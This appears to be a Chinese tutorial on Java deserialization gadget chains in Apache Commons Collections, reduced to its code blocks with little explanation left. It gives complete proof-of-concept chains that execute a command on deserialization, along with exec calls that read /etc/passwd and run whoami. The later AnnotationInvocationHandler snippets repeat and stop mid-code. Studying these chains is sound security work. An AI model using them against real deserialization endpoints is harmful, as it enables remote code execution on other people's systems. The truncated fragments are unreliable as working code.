public class Main_ { public static void main(String[] args) throws Exception { InputStream is = Runtime.getRuntime().exec("cat /etc/passwd").getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); int len = 0; byte[] cache = new byte[1024]; while ((len = is.read(cache)) != -1) { baos.write(cache, 0, len); } System.out.println(baos); } }
public class Main_ { public static void main(String[] args) throws Exception { InputStream inputStream = new ProcessBuilder("whoami").start().getInputStream(); byte[] cache = new byte[1024]; int len = 0; ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((len = inputStream.read(cache)) != -1) { baos.write(cache, 0, len); } System.out.println(baos); } }
public class Test { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); } }
public class Test1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null); } }
public class Test1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), new ConstantTransformer(null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "useless"); byte[] poc = Serialize(hashMap); }
public static byte[] Serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void UnSerialize(byte[] poc) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(poc); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); } }
只进行序列化,发现序列化时就会触发命令执行
断点调试,发现是在 hashMap.put 的时候触发的
在 URLDNS 链中,URL#hashCode 方法存在 if 判断,通过将 hashCode 属性反射赋值为 -1 绕过了 put 执行,但 TiedMapEntry#hashCode 并没有 if 判断,一旦触发就会直接往后走,该如何绕过呢
public class Test1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), new ConstantTransformer(null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "useless"); SetFieldValue(lazyMap, "factory", chainedTransformer); byte[] poc = Serialize(hashMap); UnSerialize(poc); }
public static byte[] Serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void UnSerialize(byte[] poc) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(poc); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static void SetFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
public class Test1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), new ConstantTransformer(null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "useless"); SetFieldValue(lazyMap, "factory", chainedTransformer); lazyMap.remove("abc"); byte[] poc = Serialize(hashMap); UnSerialize(poc); }
public static byte[] Serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void UnSerialize(byte[] poc) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(poc); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static void SetFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
public class Test1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), new ConstantTransformer(null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "useless"); HashSet hashSet = new HashSet(); //1. 在 HashMap版基础上修改这三段代码即可 SetFieldValue(hashSet, "map", hashMap); //2 SetFieldValue(lazyMap, "factory", chainedTransformer); lazyMap.remove("abc"); byte[] poc = Serialize(hashSet); //3 UnSerialize(poc); }
public static byte[] Serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void UnSerialize(byte[] poc) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(poc); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static void SetFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap(); hashMap.put("value", "def");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);